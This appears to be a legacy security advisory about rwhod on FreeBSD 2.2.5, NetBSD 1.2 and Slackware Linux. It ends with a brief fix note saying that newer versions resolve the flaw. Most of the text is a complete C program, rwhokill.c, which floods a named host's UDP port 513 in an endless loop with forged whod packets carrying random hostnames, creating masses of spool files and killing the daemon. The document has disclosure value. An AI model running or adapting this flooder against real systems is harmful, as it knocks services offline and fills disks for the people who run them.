COMMAND
rwhod
SYSTEMS AFFECTED
FreeBSD 2.2.5-Stable, NetBSD 1.2, Linux Slackware
PROBLEM
rwhod uses UDP packtes to pick up whos on a network, and creates a
spool file based upon the packets received. You could create mad
spool files... Credit goes to sygma. Exploit that will simply
kill rwhod follows:
/*
* filename: rwhokill.c
* author: sygma @undernet
* fix: Don't run rwhod :)
* notes: I won't be held reponsible for the missuse most people do
* with this stuff. It's for educational purposes only!
* tested on: Linux [slackware]
* FreeBSD 2.2.5-Stable FreeBSD 2.2.6-BETA [aparently patched]
* NetBSD 1.2
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/wait.h>
#define MYPORT 513
int i;
//ripped out of headers from a real os
struct outmp {
char out_line[8]; /* tty name */
char out_name[8]; /* user id */
long out_time; /* time on */
};
struct whod {
char wd_vers; /* protocol version # */
char wd_type; /* packet type, see below */
char wd_pad[2];
int wd_sendtime; /* time stamp by sender */
int wd_recvtime; /* time stamp applied by receiver */
char wd_hostname[32]; /* hosts's name */
int wd_loadav[3]; /* load average as in uptime */
int wd_boottime; /* time system booted */
struct whoent {
struct outmp we_utmp; /* active tty info */
int we_idle; /* tty idle time */
} wd_we[1024 / sizeof (struct whoent)];
};
int main(int argc, char *argv[])
{
int sockfd;
struct sockaddr_in their_addr; /* connector's address information */
struct sockaddr_in ours;
struct hostent *he;
int numbytes;
struct whod evil;
if (argc != 2) {
fprintf(stderr,"usage: rwhokill hostname\n");
exit(1);
}
if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */
herror("gethostbyname");
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET; /* host byte order */
their_addr.sin_port = htons(MYPORT); /* short, network byte order */
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */
bzero(&ours,sizeof(struct sockaddr));
ours.sin_family = AF_INET; /* host byte order */
ours.sin_port = htons(MYPORT); /* short, network byte order */
bzero(&(ours.sin_zero), 8); /* zero the rest of the struct */
bind(sockfd,(struct sockaddr *)&ours,sizeof(struct sockaddr));
i=0;
bzero(&evil,sizeof(struct whod));
evil.wd_vers=1;
evil.wd_type=1;
while(1)
{
for (i=0;i<32;i++)
{
evil.wd_hostname[i]=(random()%26)+'A';
}
if ((numbytes=sendto(sockfd, &evil, sizeof(struct whod), 0, \
(struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
{
perror("recvfrom");
exit(1);
}
i++;
if (i==1000) {printf(".");i=0;}
// fuck usleep(100);
}
close(sockfd);
return 0;
}
SOLUTION
FreeBSD 2.2.6 should fix this. I don't know how NetBSD 1.3 stands
with this. Newer versions that came with Linux will also fix
this.